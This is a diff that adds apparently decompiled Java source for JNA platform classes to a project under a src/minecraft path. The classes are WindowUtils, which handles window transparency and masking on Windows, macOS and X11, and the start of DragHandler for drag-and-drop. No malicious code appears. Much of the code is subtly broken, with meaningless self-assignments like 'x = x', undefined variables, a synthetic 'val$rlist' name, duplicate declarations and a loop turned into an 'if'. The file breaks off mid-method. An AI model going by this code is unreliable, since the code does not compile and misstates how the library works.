+          else if ((!transparent) && (WindowUtils.W32WindowUtils.this.usingUpdateLayeredWindow(w))) {
+            flags &= 0xFFF7FFFF;
+            user.SetWindowLong(hWnd, -20, flags);
+          }
+          setLayersTransparent(w, transparent);
+          setForceHeavyweightPopups(w, transparent);
+          setDoubleBuffered(w, !transparent);
+        }
+      });
+    }
+    
+    public void setWindowMask(Component w, Shape mask) {
+      if (((mask instanceof Area)) && (((Area)mask).isPolygonal())) {
+        setMask(w, (Area)mask);
+      }
+      else {
+        super.setWindowMask(w, mask);
+      }
+    }
+    
+    private void setWindowRegion(final Component w, final WinDef.HRGN hrgn)
+    {
+      whenDisplayable(w, new Runnable() {
+        public void run() {
+          GDI32 gdi = GDI32.INSTANCE;
+          User32 user = User32.INSTANCE;
+          WinDef.HWND hWnd = WindowUtils.W32WindowUtils.this.getHWnd(w);
+          try {
+            user.SetWindowRgn(hWnd, hrgn, true);
+            setForceHeavyweightPopups(getWindow(w), hrgn != null);
+          }
+          finally {
+            gdi.DeleteObject(hrgn);
+          }
+        }
+      });
+    }
+    
+    private void setMask(Component w, Area area)
+    {
+      GDI32 gdi = GDI32.INSTANCE;
+      PathIterator pi = area.getPathIterator(null);
+      int mode = pi.getWindingRule() == 1 ? 2 : 1;
+      
+      float[] coords = new float[6];
+      List<WinUser.POINT> points = new ArrayList();
+      int size = 0;
+      List<Integer> sizes = new ArrayList();
+      while (!pi.isDone()) {
+        int type = pi.currentSegment(coords);
+        if (type == 0) {
+          size = 1;
+          points.add(new WinUser.POINT((int)coords[0], (int)coords[1]));
+        }
+        else if (type == 1) {
+          size++;
+          points.add(new WinUser.POINT((int)coords[0], (int)coords[1]));
+        }
+        else if (type == 4) {
+          sizes.add(new Integer(size));
+        }
+        else {
+          throw new RuntimeException("Area is not polygonal: " + area);
+        }
+        pi.next();
+      }
+      WinUser.POINT[] lppt = (WinUser.POINT[])new WinUser.POINT().toArray(points.size());
+      WinUser.POINT[] pts = (WinUser.POINT[])points.toArray(new WinUser.POINT[points.size()]);
+      for (int i = 0; i < lppt.length; i++) {
+        x = x;
+        y = y;
+      }
+      int[] counts = new int[sizes.size()];
+      for (int i = 0; i < counts.length; i++) {
+        counts[i] = ((Integer)sizes.get(i)).intValue();
+      }
+      WinDef.HRGN hrgn = gdi.CreatePolyPolygonRgn(lppt, counts, counts.length, mode);
+      setWindowRegion(w, hrgn);
+    }
+    
+    protected void setMask(Component w, Raster raster) {
+      GDI32 gdi = GDI32.INSTANCE;
+      final WinDef.HRGN region = raster != null ? gdi.CreateRectRgn(0, 0, 0, 0) : null;
+      
+      if (region != null) {
+        final WinDef.HRGN tempRgn = gdi.CreateRectRgn(0, 0, 0, 0);
+        try {
+          RasterRangesUtils.outputOccupiedRanges(raster, new RasterRangesUtils.RangesOutput() {
+            public boolean outputRange(int x, int y, int w, int h) {
+              GDI32 gdi = GDI32.INSTANCE;
+              gdi.SetRectRgn(tempRgn, x, y, x + w, y + h);
+              return gdi.CombineRgn(region, region, tempRgn, 2) != 0;
+            }
+          });
+        }
+        finally {
+          gdi.DeleteObject(tempRgn);
+        }
+      }
+      setWindowRegion(w, region); } }
+  
+  private static class MacWindowUtils extends WindowUtils.NativeWindowUtils { private static final String WDRAG = "apple.awt.draggableWindowBackground";
+    
+    private MacWindowUtils() {}
+    
+    public boolean isWindowAlphaSupported() { return true; }
+    
+    private OSXMaskingContentPane installMaskingPane(Window w)
+    {
+      OSXMaskingContentPane content;
+      if ((w instanceof RootPaneContainer))
+      {
+        RootPaneContainer rpc = (RootPaneContainer)w;
+        Container oldContent = rpc.getContentPane();
+        OSXMaskingContentPane content; if ((oldContent instanceof OSXMaskingContentPane)) {
+          content = (OSXMaskingContentPane)oldContent;
+        }
+        else {
+          OSXMaskingContentPane content = new OSXMaskingContentPane(oldContent);
+          
+          rpc.setContentPane(content);
+        }
+      }
+      else {
+        Component oldContent = w.getComponentCount() > 0 ? w.getComponent(0) : null;
+        OSXMaskingContentPane content; if ((oldContent instanceof OSXMaskingContentPane)) {
+          content = (OSXMaskingContentPane)oldContent;
+        }
+        else {
+          content = new OSXMaskingContentPane(oldContent);
+          w.add(content);
+        }
+      }
+      return content;
+    }
+    
+
+
+
+
+
+
+
+    public void setWindowTransparent(Window w, boolean transparent)
+    {
+      boolean isTransparent = (w.getBackground() != null) && (w.getBackground().getAlpha() == 0);
+      
+      if (transparent != isTransparent) {
+        setBackgroundTransparent(w, transparent, "setWindowTransparent");
+      }
+    }
+    
+
+    private void fixWindowDragging(Window w, String context)
+    {
+      if ((w instanceof RootPaneContainer)) {
+        JRootPane p = ((RootPaneContainer)w).getRootPane();
+        Boolean oldDraggable = (Boolean)p.getClientProperty("apple.awt.draggableWindowBackground");
+        if (oldDraggable == null) {
+          p.putClientProperty("apple.awt.draggableWindowBackground", Boolean.FALSE);
+          if (w.isDisplayable()) {
+            System.err.println(context + "(): To avoid content dragging, " + context + "() must be called before the window is realized, or " + "apple.awt.draggableWindowBackground" + " must be set to Boolean.FALSE before the window is realized.  If you really want content dragging, set " + "apple.awt.draggableWindowBackground" + " on the window's root pane to Boolean.TRUE before calling " + context + "() to hide this message.");
+          }
+        }
+      }
+    }
+    
+
+
+
+
+
+
+
+    public void setWindowAlpha(final Window w, final float alpha)
+    {
+      if ((w instanceof RootPaneContainer)) {
+        JRootPane p = ((RootPaneContainer)w).getRootPane();
+        p.putClientProperty("Window.alpha", new Float(alpha));
+        fixWindowDragging(w, "setWindowAlpha");
+      }
+      whenDisplayable(w, new Runnable() {
+        public void run() {
+          Object peer = w.getPeer();
+          try {
+            peer.getClass().getMethod("setAlpha", new Class[] { Float.TYPE }).invoke(peer, new Object[] { new Float(alpha) });
+          }
+          catch (Exception e) {}
+        }
+      });
+    }
+    
+
+
+
+
+    protected void setWindowMask(Component w, Raster raster)
+    {
+      if (raster != null) {
+        setWindowMask(w, toShape(raster));
+      }
+      else {
+        setWindowMask(w, new Rectangle(0, 0, w.getWidth(), w.getHeight()));
+      }
+    }
+    
+    public void setWindowMask(Component c, Shape shape)
+    {
+      if ((c instanceof Window)) {
+        Window w = (Window)c;
+        OSXMaskingContentPane content = installMaskingPane(w);
+        content.setMask(shape);
+        setBackgroundTransparent(w, shape != WindowUtils.MASK_NONE, "setWindowMask");
+      }
+    }
+    
+
+    private static class OSXMaskingContentPane
+      extends JPanel
+    {
+      private static final long serialVersionUID = 1L;
+      
+      private Shape shape;
+      
+
+      public OSXMaskingContentPane(Component oldContent)
+      {
+        super();
+        if (oldContent != null) {
+          add(oldContent, "Center");
+        }
+      }
+      
+      public void setMask(Shape shape) {
+        this.shape = shape;
+        repaint();
+      }
+      
+      public void paint(Graphics graphics) {
+        Graphics2D g = (Graphics2D)graphics.create();
+        g.setComposite(AlphaComposite.Clear);
+        g.fillRect(0, 0, getWidth(), getHeight());
+        g.dispose();
+        if (shape != null) {
+          g = (Graphics2D)graphics.create();
+          g.setClip(shape);
+          super.paint(g);
+          g.dispose();
+        }
+        else {
+          super.paint(graphics);
+        }
+      }
+    }
+    
+    private void setBackgroundTransparent(Window w, boolean transparent, String context) {
+      JRootPane rp = (w instanceof RootPaneContainer) ? ((RootPaneContainer)w).getRootPane() : null;
+      
+      if (transparent) {
+        if (rp != null) {
+          rp.putClientProperty("transparent-old-bg", w.getBackground());
+        }
+        w.setBackground(new Color(0, 0, 0, 0));
+
+      }
+      else if (rp != null) {
+        Color bg = (Color)rp.getClientProperty("transparent-old-bg");
+        
+
+
+        if (bg != null) {
+          bg = new Color(bg.getRed(), bg.getGreen(), bg.getBlue(), bg.getAlpha());
+        }
+        w.setBackground(bg);
+        rp.putClientProperty("transparent-old-bg", null);
+      }
+      else {
+        w.setBackground(null);
+      }
+      
+      fixWindowDragging(w, context); } }
+  
+  private static class X11WindowUtils extends WindowUtils.NativeWindowUtils { private boolean didCheck;
+    private long[] alphaVisualIDs;
+    private static final long OPAQUE = 4294967295L;
+    private static final String OPACITY = "_NET_WM_WINDOW_OPACITY";
+    
+    private static X11.Pixmap createBitmap(X11.Display dpy, X11.Window win, Raster raster) { X11 x11 = X11.INSTANCE;
+      Rectangle bounds = raster.getBounds();
+      int width = x + width;
+      int height = y + height;
+      X11.Pixmap pm = x11.XCreatePixmap(dpy, win, width, height, 1);
+      X11.GC gc = x11.XCreateGC(dpy, pm, new NativeLong(0L), null);
+      if (gc == null) {
+        return null;
+      }
+      x11.XSetForeground(dpy, gc, new NativeLong(0L));
+      x11.XFillRectangle(dpy, pm, gc, 0, 0, width, height);
+      List<Rectangle> rlist = new ArrayList();
+      try {
+        RasterRangesUtils.outputOccupiedRanges(raster, new RasterRangesUtils.RangesOutput() {
+          public boolean outputRange(int x, int y, int w, int h) {
+            val$rlist.add(new Rectangle(x, y, w, h));
+            return true;
+          }
+        });
+        X11.XRectangle[] rects = (X11.XRectangle[])new X11.XRectangle().toArray(rlist.size());
+        
+        for (int i = 0; i < rects.length; i++) {
+          Rectangle r = (Rectangle)rlist.get(i);
+          x = ((short)x);
+          y = ((short)y);
+          width = ((short)width);
+          height = ((short)height);
+          
+          Pointer p = rects[i].getPointer();
+          p.setShort(0L, (short)x);
+          p.setShort(2L, (short)y);
+          p.setShort(4L, (short)width);
+          p.setShort(6L, (short)height);
+          rects[i].setAutoSynch(false);
+        }
+        
+        int UNMASKED = 1;
+        x11.XSetForeground(dpy, gc, new NativeLong(1L));
+        x11.XFillRectangles(dpy, pm, gc, rects, rects.length);
+      }
+      finally {
+        x11.XFreeGC(dpy, gc);
+      }
+      return pm;
+    }
+    
+    private X11WindowUtils() {
+      alphaVisualIDs = new long[0];
+    }
+    
+    public boolean isWindowAlphaSupported() { return getAlphaVisualIDs().length > 0; }
+    
+
+    private static long getVisualID(GraphicsConfiguration config)
+    {
+      try
+      {
+        Object o = config.getClass().getMethod("getVisual", (Class[])null).invoke(config, (Object[])null);
+        
+
+        return ((Number)o).longValue();
+      }
+      catch (Exception e) {
+        e.printStackTrace(); }
+      return -1L;
+    }
+    
+
+    public GraphicsConfiguration getAlphaCompatibleGraphicsConfiguration()
+    {
+      if (isWindowAlphaSupported()) {
+        GraphicsEnvironment env = GraphicsEnvironment.getLocalGraphicsEnvironment();
+        
+        GraphicsDevice[] devices = env.getScreenDevices();
+        for (int i = 0; i < devices.length; i++) {
+          GraphicsConfiguration[] configs = devices[i].getConfigurations();
+          
+          for (int j = 0; j < configs.length; j++) {
+            long visualID = getVisualID(configs[j]);
+            long[] ids = getAlphaVisualIDs();
+            for (int k = 0; k < ids.length; k++) {
+              if (visualID == ids[k]) {
+                return configs[j];
+              }
+            }
+          }
+        }
+      }
+      return super.getAlphaCompatibleGraphicsConfiguration();
+    }
+    
+
+
+
+    private synchronized long[] getAlphaVisualIDs()
+    {
+      if (didCheck) {
+        return alphaVisualIDs;
+      }
+      didCheck = true;
+      X11 x11 = X11.INSTANCE;
+      X11.Display dpy = x11.XOpenDisplay(null);
+      if (dpy == null)
+        return alphaVisualIDs;
+      X11.XVisualInfo info = null;
+      try {
+        int screen = x11.XDefaultScreen(dpy);
+        X11.XVisualInfo template = new X11.XVisualInfo();
+        screen = screen;
+        depth = 32;
+        c_class = 4;
+        NativeLong mask = new NativeLong(14L);
+        
+
+        IntByReference pcount = new IntByReference();
+        info = x11.XGetVisualInfo(dpy, mask, template, pcount);
+        if (info != null) {
+          List<X11.VisualID> list = new ArrayList();
+          X11.XVisualInfo[] infos = (X11.XVisualInfo[])info.toArray(pcount.getValue());
+          
+          for (int i = 0; i < infos.length; i++) {
+            X11.Xrender.XRenderPictFormat format = X11.Xrender.INSTANCE.XRenderFindVisualFormat(dpy, visual);
+            
+
+            if ((type == 1) && (direct.alphaMask != 0))
+            {
+              list.add(visualid);
+            }
+          }
+          alphaVisualIDs = new long[list.size()];
+          for (int i = 0; i < alphaVisualIDs.length; i++) {
+            alphaVisualIDs[i] = ((Number)list.get(i)).longValue();
+          }
+          return alphaVisualIDs;
+        }
+      }
+      finally {
+        if (info != null) {
+          x11.XFree(info.getPointer());
+        }
+        x11.XCloseDisplay(dpy);
+      }
+      return alphaVisualIDs;
+    }
+    
+    private static X11.Window getContentWindow(Window w, X11.Display dpy, X11.Window win, Point offset)
+    {
+      if ((((w instanceof Frame)) && (!((Frame)w).isUndecorated())) || (((w instanceof Dialog)) && (!((Dialog)w).isUndecorated())))
+      {
+        X11 x11 = X11.INSTANCE;
+        X11.WindowByReference rootp = new X11.WindowByReference();
+        X11.WindowByReference parentp = new X11.WindowByReference();
+        PointerByReference childrenp = new PointerByReference();
+        IntByReference countp = new IntByReference();
+        x11.XQueryTree(dpy, win, rootp, parentp, childrenp, countp);
+        Pointer p = childrenp.getValue();
+        int[] ids = p.getIntArray(0L, countp.getValue());
+        int[] arr$ = ids;int len$ = arr$.length;int i$ = 0; if (i$ < len$) { int id = arr$[i$];
+          
+          X11.Window child = new X11.Window(id);
+          X11.XWindowAttributes xwa = new X11.XWindowAttributes();
+          x11.XGetWindowAttributes(dpy, child, xwa);
+          x = (-x);
+          y = (-y);
+          win = child;
+        }
+        
+        if (p != null) {
+          x11.XFree(p);
+        }
+      }
+      return win;
+    }
+    
+    private static X11.Window getDrawable(Component w) {
+      int id = (int)Native.getComponentID(w);
+      if (id == 0)
+        return null;
+      return new X11.Window(id);
+    }
+    
+
+
+    public void setWindowAlpha(final Window w, final float alpha)
+    {
+      if (!isWindowAlphaSupported()) {
+        throw new UnsupportedOperationException("This X11 display does not provide a 32-bit visual");
+      }
+      Runnable action = new Runnable() {
+        public void run() {
+          X11 x11 = X11.INSTANCE;
+          X11.Display dpy = x11.XOpenDisplay(null);
+          if (dpy == null)
+            return;
+          try {
+            X11.Window win = WindowUtils.X11WindowUtils.getDrawable(w);
+            if (alpha == 1.0F) {
+              x11.XDeleteProperty(dpy, win, x11.XInternAtom(dpy, "_NET_WM_WINDOW_OPACITY", false));
+
+            }
+            else
+            {
+              int opacity = (int)((alpha * 4.2949673E9F) & 0xFFFFFFFFFFFFFFFF);
+              IntByReference patom = new IntByReference(opacity);
+              x11.XChangeProperty(dpy, win, x11.XInternAtom(dpy, "_NET_WM_WINDOW_OPACITY", false), X11.XA_CARDINAL, 32, 0, patom.getPointer(), 1);
+
+            }
+            
+
+          }
+          finally
+          {
+
+            x11.XCloseDisplay(dpy);
+          }
+        }
+      };
+      whenDisplayable(w, action);
+    }
+    
+    private static abstract interface PixmapSource { public abstract X11.Pixmap getPixmap(X11.Display paramDisplay, X11.Window paramWindow); }
+    
+    private class X11TransparentContentPane extends WindowUtils.NativeWindowUtils.TransparentContentPane { private static final long serialVersionUID = 1L;
+      
+      public X11TransparentContentPane(Container oldContent) { super(oldContent); }
+      
+
+      private Memory buffer;
+      private int[] pixels;
+      private final int[] pixel = new int[4];
+      
+
+      protected void paintDirect(BufferedImage buf, Rectangle bounds)
+      {
+        Window window = SwingUtilities.getWindowAncestor(this);
+        X11 x11 = X11.INSTANCE;
+        X11.Display dpy = x11.XOpenDisplay(null);
+        X11.Window win = WindowUtils.X11WindowUtils.getDrawable(window);
+        Point offset = new Point();
+        win = WindowUtils.X11WindowUtils.getContentWindow(window, dpy, win, offset);
+        X11.GC gc = x11.XCreateGC(dpy, win, new NativeLong(0L), null);
+        
+        Raster raster = buf.getData();
+        int w = width;
+        int h = height;
+        if ((buffer == null) || (buffer.size() != w * h * 4)) {
+          buffer = new Memory(w * h * 4);
+          pixels = new int[w * h];
+        }
+        for (int y = 0; y < h; y++) {
+          for (int x = 0; x < w; x++) {
+            raster.getPixel(x, y, pixel);
+            int alpha = pixel[3] & 0xFF;
+            int red = pixel[2] & 0xFF;
+            int green = pixel[1] & 0xFF;
+            int blue = pixel[0] & 0xFF;
+            
+
+            pixels[(y * w + x)] = (alpha << 24 | blue << 16 | green << 8 | red);
+          }
+        }
+        X11.XWindowAttributes xwa = new X11.XWindowAttributes();
+        x11.XGetWindowAttributes(dpy, win, xwa);
+        X11.XImage image = x11.XCreateImage(dpy, visual, 32, 2, 0, buffer, w, h, 32, w * 4);
+        
+
+        buffer.write(0L, pixels, 0, pixels.length);
+        x += x;
+        y += y;
+        x11.XPutImage(dpy, win, gc, image, 0, 0, x, y, w, h);
+        
+        x11.XFree(image.getPointer());
+        x11.XFreeGC(dpy, gc);
+        x11.XCloseDisplay(dpy);
+      }
+    }
+    
+    public void setWindowTransparent(final Window w, final boolean transparent)
+    {
+      if (!(w instanceof RootPaneContainer)) {
+        throw new IllegalArgumentException("Window must be a RootPaneContainer");
+      }
+      if (!isWindowAlphaSupported()) {
+        throw new UnsupportedOperationException("This X11 display does not provide a 32-bit visual");
+      }
+      if (!w.getGraphicsConfiguration().equals(getAlphaCompatibleGraphicsConfiguration()))
+      {
+        throw new IllegalArgumentException("Window GraphicsConfiguration '" + w.getGraphicsConfiguration() + "' does not support transparency");
+      }
+      boolean isTransparent = (w.getBackground() != null) && (w.getBackground().getAlpha() == 0);
+      
+      if (transparent == isTransparent)
+        return;
+      whenDisplayable(w, new Runnable() {
+        public void run() {
+          JRootPane root = ((RootPaneContainer)w).getRootPane();
+          JLayeredPane lp = root.getLayeredPane();
+          Container content = root.getContentPane();
+          if ((content instanceof WindowUtils.X11WindowUtils.X11TransparentContentPane)) {
+            ((WindowUtils.X11WindowUtils.X11TransparentContentPane)content).setTransparent(transparent);
+          }
+          else if (transparent) {
+            WindowUtils.X11WindowUtils.X11TransparentContentPane x11content = new WindowUtils.X11WindowUtils.X11TransparentContentPane(WindowUtils.X11WindowUtils.this, content);
+            
+            root.setContentPane(x11content);
+            lp.add(new WindowUtils.RepaintTrigger(x11content), JLayeredPane.DRAG_LAYER);
+          }
+          
+          setLayersTransparent(w, transparent);
+          setForceHeavyweightPopups(w, transparent);
+          setDoubleBuffered(w, !transparent);
+        }
+      });
+    }
+    
+
+
+
+    private void setWindowShape(final Window w, final PixmapSource src)
+    {
+      Runnable action = new Runnable() {
+        public void run() {
+          X11 x11 = X11.INSTANCE;
+          X11.Display dpy = x11.XOpenDisplay(null);
+          if (dpy == null) {
+            return;
+          }
+          X11.Pixmap pm = null;
+          try {
+            X11.Window win = WindowUtils.X11WindowUtils.getDrawable(w);
+            pm = src.getPixmap(dpy, win);
+            X11.Xext ext = X11.Xext.INSTANCE;
+            ext.XShapeCombineMask(dpy, win, 0, 0, 0, pm == null ? X11.Pixmap.None : pm, 0);
+
+          }
+          finally
+          {
+            if (pm != null) {
+              x11.XFreePixmap(dpy, pm);
+            }
+            x11.XCloseDisplay(dpy);
+          }
+          setForceHeavyweightPopups(getWindow(w), pm != null);
+        }
+      };
+      whenDisplayable(w, action);
+    }
+    
+    protected void setMask(Component w, final Raster raster) {
+      setWindowShape(getWindow(w), new PixmapSource() {
+        public X11.Pixmap getPixmap(X11.Display dpy, X11.Window win) {
+          return raster != null ? WindowUtils.X11WindowUtils.createBitmap(dpy, win, raster) : null;
+        }
+      });
+    }
+  }
+  
+
+
+
+
+  public static void setWindowMask(Window w, Shape mask)
+  {
+    getInstance().setWindowMask(w, mask);
+  }
+  
+
+
+
+
+  public static void setComponentMask(Component c, Shape mask)
+  {
+    getInstance().setWindowMask(c, mask);
+  }
+  
+
+
+
+
+  public static void setWindowMask(Window w, Icon mask)
+  {
+    getInstance().setWindowMask(w, mask);
+  }
+  
+  public static boolean isWindowAlphaSupported()
+  {
+    return getInstance().isWindowAlphaSupported();
+  }
+  
+
+
+
+  public static GraphicsConfiguration getAlphaCompatibleGraphicsConfiguration()
+  {
+    return getInstance().getAlphaCompatibleGraphicsConfiguration();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void setWindowAlpha(Window w, float alpha)
+  {
+    getInstance().setWindowAlpha(w, Math.max(0.0F, Math.min(alpha, 1.0F)));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static void setWindowTransparent(Window w, boolean transparent)
+  {
+    getInstance().setWindowTransparent(w, transparent);
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/dnd/DragHandler.java b/src/minecraft/com/sun/jna/platform/dnd/DragHandler.java
new file mode 100644
index 0000000..7e6409f
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/dnd/DragHandler.java
@@ -0,0 +1,533 @@
+package com.sun.jna.platform.dnd;
+
+import java.awt.AlphaComposite;
+import java.awt.Component;
+import java.awt.Cursor;
+import java.awt.Dimension;
+import java.awt.Graphics2D;
+import java.awt.GraphicsConfiguration;
+import java.awt.Image;
+import java.awt.Point;
+import java.awt.datatransfer.Transferable;
+import java.awt.dnd.DragGestureEvent;
+import java.awt.dnd.DragGestureListener;
+import java.awt.dnd.DragSource;
+import java.awt.dnd.DragSourceContext;
+import java.awt.dnd.DragSourceDragEvent;
+import java.awt.dnd.DragSourceDropEvent;
+import java.awt.dnd.DragSourceEvent;
+import java.awt.dnd.DragSourceListener;
+import java.awt.dnd.DragSourceMotionListener;
+import java.awt.dnd.DropTargetDragEvent;
+import java.awt.dnd.DropTargetDropEvent;
+import java.awt.dnd.DropTargetEvent;
+import java.awt.dnd.InvalidDnDOperationException;
+import java.awt.event.InputEvent;
+import java.awt.image.BufferedImage;
+import java.lang.reflect.Method;
+import javax.swing.Icon;
+import javax.swing.JColorChooser;
+import javax.swing.JFileChooser;
+import javax.swing.JList;
+import javax.swing.JTable;
+import javax.swing.JTree;
+import javax.swing.text.JTextComponent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class DragHandler
+  implements DragSourceListener, DragSourceMotionListener, DragGestureListener
+{
+  public static final Dimension MAX_GHOST_SIZE = new Dimension(250, 250);
+  
+
+
+
+  public static final float DEFAULT_GHOST_ALPHA = 0.5F;
+  
+
+
+  public static final int UNKNOWN_MODIFIERS = -1;
+  
+
+
+  public static final Transferable UNKNOWN_TRANSFERABLE = null;
+  
+
+  protected static final int MOVE = 2;
+  
+
+  protected static final int COPY = 1;
+  
+  protected static final int LINK = 1073741824;
+  
+  protected static final int NONE = 0;
+  
+  static final int MOVE_MASK = 64;
+  
+  static final boolean OSX = System.getProperty("os.name").toLowerCase().indexOf("mac") != -1;
+  
+
+  static final int COPY_MASK = OSX ? 512 : 128;
+  
+
+  static final int LINK_MASK = OSX ? 768 : 192;
+  
+
+
+
+  static final int KEY_MASK = 9152;
+  
+
+
+  private static int modifiers = -1;
+  private static Transferable transferable = UNKNOWN_TRANSFERABLE;
+  
+
+  private int supportedActions;
+  
+
+  static int getModifiers()
+  {
+    return modifiers;
+  }
+  
+
+
+
+  public static Transferable getTransferable(DropTargetEvent e)
+  {
+    if ((e instanceof DropTargetDragEvent)) {
+      try
+      {
+        return (Transferable)e.getClass().getMethod("getTransferable", (Class[])null).invoke(e, (Object[])null);
+
+
+      }
+      catch (Exception ex) {}
+
+    }
+    else if ((e instanceof DropTargetDropEvent)) {
+      return ((DropTargetDropEvent)e).getTransferable();
+    }
+    return transferable;
+  }
+  
+
+  private boolean fixCursor = true;
+  private Component dragSource;
+  private GhostedDragImage ghost;
+  private Point imageOffset;
+  private Dimension maxGhostSize = MAX_GHOST_SIZE;
+  private float ghostAlpha = 0.5F;
+  private String lastAction;
+  private boolean moved;
+  
+  protected DragHandler(Component dragSource, int actions)
+  {
+    this.dragSource = dragSource;
+    supportedActions = actions;
+    try {
+      String alpha = System.getProperty("DragHandler.alpha");
+      if (alpha != null) {
+        try {
+          ghostAlpha = Float.parseFloat(alpha);
+        }
+        catch (NumberFormatException e) {}
+      }
+      String max = System.getProperty("DragHandler.maxDragImageSize");
+      if (max != null) {
+        String[] size = max.split("x");
+        if (size.length == 2) {
+          try {
+            maxGhostSize = new Dimension(Integer.parseInt(size[0]), Integer.parseInt(size[1]));
+          }
+          catch (NumberFormatException e) {}
+        }
+      }
+    }
+    catch (SecurityException e) {}
+    
+
+    disableSwingDragSupport(dragSource);
+    DragSource src = DragSource.getDefaultDragSource();
+    src.createDefaultDragGestureRecognizer(dragSource, supportedActions, this);
+  }
+  
+  private void disableSwingDragSupport(Component comp) {
+    if ((comp instanceof JTree)) {
+      ((JTree)comp).setDragEnabled(false);
+    }
+    else if ((comp instanceof JList)) {
+      ((JList)comp).setDragEnabled(false);
+    }
+    else if ((comp instanceof JTable)) {
+      ((JTable)comp).setDragEnabled(false);
+    }
+    else if ((comp instanceof JTextComponent)) {
+      ((JTextComponent)comp).setDragEnabled(false);
+    }
+    else if ((comp instanceof JColorChooser)) {
+      ((JColorChooser)comp).setDragEnabled(false);
+    }
+    else if ((comp instanceof JFileChooser)) {
+      ((JFileChooser)comp).setDragEnabled(false);
+    }
+  }
+  
+
+
+
+  protected boolean canDrag(DragGestureEvent e)
+  {
+    int mods = e.getTriggerEvent().getModifiersEx() & 0x23C0;
+    if (mods == 64)
+      return (supportedActions & 0x2) != 0;
+    if (mods == COPY_MASK)
+      return (supportedActions & 0x1) != 0;
+    if (mods == LINK_MASK)
+      return (supportedActions & 0x40000000) != 0;
+    return true;
+  }
+  
+  protected void setModifiers(int mods)
+  {
+    modifiers = mods;
+  }
+  
+
+
+
+
+
+
+  protected abstract Transferable getTransferable(DragGestureEvent paramDragGestureEvent);
+  
+
+
+
+
+
+  protected Icon getDragIcon(DragGestureEvent e, Point srcOffset)
+  {
+    return null;
+  }
+  
+
+
+
+  protected void dragStarted(DragGestureEvent e) {}
+  
+
+
+  public void dragGestureRecognized(DragGestureEvent e)
+  {
+    if (((e.getDragAction() & supportedActions) != 0) && (canDrag(e)))
+    {
+      setModifiers(e.getTriggerEvent().getModifiersEx() & 0x23C0);
+      Transferable transferable = getTransferable(e);
+      if (transferable == null)
+        return;
+      try {
+        Point srcOffset = new Point(0, 0);
+        Icon icon = getDragIcon(e, srcOffset);
+        Point origin = e.getDragOrigin();
+        
+        imageOffset = new Point(x - x, y - y);
+        
+        Icon dragIcon = scaleDragIcon(icon, imageOffset);
+        Cursor cursor = null;
+        if ((dragIcon != null) && (DragSource.isDragImageSupported())) {
+          GraphicsConfiguration gc = e.getComponent().getGraphicsConfiguration();
+          e.startDrag(cursor, createDragImage(gc, dragIcon), imageOffset, transferable, this);
+        }
+        else
+        {
+          if (dragIcon != null) {
+            Point screen = dragSource.getLocationOnScreen();
+            screen.translate(x, y);
+            Point cursorOffset = new Point(-imageOffset.x, -imageOffset.y);
+            ghost = new GhostedDragImage(dragSource, dragIcon, getImageLocation(screen), cursorOffset);
+            
+            ghost.setAlpha(ghostAlpha);
+          }
+          e.startDrag(cursor, transferable, this);
+        }
+        dragStarted(e);
+        moved = false;
+        e.getDragSource().addDragSourceMotionListener(this);
+        transferable = transferable;
+      }
+      catch (InvalidDnDOperationException ex) {
+        if (ghost != null) {
+          ghost.dispose();
+          ghost = null;
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected Icon scaleDragIcon(Icon icon, Point imageOffset)
+  {
+    return icon;
+  }
+  
+
+
+  protected Image createDragImage(GraphicsConfiguration gc, Icon icon)
+  {
+    int w = icon.getIconWidth();
+    int h = icon.getIconHeight();
+    BufferedImage image = gc.createCompatibleImage(w, h, 3);
+    Graphics2D g = (Graphics2D)image.getGraphics();
+    g.setComposite(AlphaComposite.Clear);
+    g.fillRect(0, 0, w, h);
+    
+    g.setComposite(AlphaComposite.getInstance(2, ghostAlpha));
+    icon.paintIcon(dragSource, g, 0, 0);
+    g.dispose();
+    return image;
+  }
+  
+  private int reduce(int actions)
+  {
+    if (((actions & 0x2) != 0) && (actions != 2)) {
+      return 2;
+    }
+    if (((actions & 0x1) != 0) && (actions != 1)) {
+      return 1;
+    }
+    return actions;
+  }
+  
+  protected Cursor getCursorForAction(int actualAction) {
+    switch (actualAction) {
+    case 2: 
+      return DragSource.DefaultMoveDrop;
+    case 1: 
+      return DragSource.DefaultCopyDrop;
+    case 1073741824: 
+      return DragSource.DefaultLinkDrop;
+    }
+    return DragSource.DefaultMoveNoDrop;
+  }
+  
+
+  protected int getAcceptableDropAction(int targetActions)
+  {
+    return reduce(supportedActions & targetActions);
+  }
+  
+  protected int getDropAction(DragSourceEvent ev)
+  {
+    if ((ev instanceof DragSourceDragEvent)) {
+      DragSourceDragEvent e = (DragSourceDragEvent)ev;
+      return e.getDropAction();
+    }
+    if ((ev instanceof DragSourceDropEvent)) {
+      return ((DragSourceDropEvent)ev).getDropAction();
+    }
+    return 0;
+  }
+  
+
+
+  protected int adjustDropAction(DragSourceEvent ev)
+  {
+    int action = getDropAction(ev);
+    if ((ev instanceof DragSourceDragEvent)) {
+      DragSourceDragEvent e = (DragSourceDragEvent)ev;
+      if (action == 0) {
+        int mods = e.getGestureModifiersEx() & 0x23C0;
+        if (mods == 0) {
+          action = getAcceptableDropAction(e.getTargetActions());
+        }
+      }
+    }
+    return action;
+  }
+  
+  protected void updateCursor(DragSourceEvent ev) {
+    if (!fixCursor)
+      return;
+    Cursor cursor = getCursorForAction(adjustDropAction(ev));
+    ev.getDragSourceContext().setCursor(cursor);
+  }
+  
+  static String actionString(int action) {
+    switch (action) {
+    case 2:  return "MOVE";
+    case 3:  return "MOVE|COPY";
+    case 1073741826:  return "MOVE|LINK";
+    case 1073741827:  return "MOVE|COPY|LINK";
+    case 1:  return "COPY";
+    case 1073741825:  return "COPY|LINK";
+    case 1073741824:  return "LINK"; }
+    return "NONE";
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private void describe(String type, DragSourceEvent e) {}
+  
+
+
+
+
+
+
+
+
+
+  public void dragDropEnd(DragSourceDropEvent e)
+  {
+    describe("end", e);
+    setModifiers(-1);
